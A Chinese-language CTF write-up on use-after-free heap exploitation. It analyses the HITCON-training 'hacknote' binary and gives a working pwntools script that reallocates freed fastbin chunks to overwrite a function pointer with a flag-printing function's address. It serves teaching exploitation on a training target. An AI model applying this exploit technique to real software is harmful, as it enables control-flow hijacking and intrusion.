Use After Free
原理
释放堆时没有将堆指针设为NULL,使得可以继续使用这个堆指针操作空中(执行或修改)释放堆中的内容
实例 - HITCON-training hacknote
函数分析
- add_note:创建堆,结构由put指针和content指针构成,put指针指向一个打印函数,content指向堆内容,同时为堆添加内容
- print_note:打印堆的content内容
- delete_note:free 堆结构指针和content堆指针,但并未给指针设为NULL
堆结构
struct note{
int* put;
char* content;
}
利用思路
程序中有一个magic函数,可以直接获取到flag,但是如何才能执行magic函数?我们知道堆结构中的put指向一个函数,那么如果我们能修改put指针使其指向magic函数的话,我们print_note的时候就可以指向magic了
具体思路
每创建一个note会实际创建两个堆,大概结构如下
+-----------------+ <-- note
| put |
+-----------------+
| content | size
+-----------------+------------------->+----------------+ <-- content
| real |
| content |
| |
+----------------+
- 创建两个堆note0,note1,且content堆的size(可以是0x10)要与堆结构的大小 (0x8) 不同
- 释放两个堆note0,note1,此时大小为0x10的fast bin链表中就存放了note0<-note1
- 再创建一个0x8的content堆,即note2(和堆结构大小相同),note2会被分配到note1的位置,而content堆会被分配到note0的位置
- 只需要向note2的content(也是note0)写入magic函数地址,因为note0指针还存在,那么我们继续操作(打印)note0就可以指向magic函数
EXP
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
r = process('./hacknote')
def addnote(size, content):
r.recvuntil(":")
r.sendline("1")
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content)
def delnote(idx):
r.recvuntil(":")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(idx))
def printnote(idx):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))
gdb.attach(r)
magic = 0x08048986
addnote(32, "aaaa")
addnote(32, "ddaa")
delnote(0)
delnote(1)
addnote(8, p32(magic))
printnote(0)
r.interactive()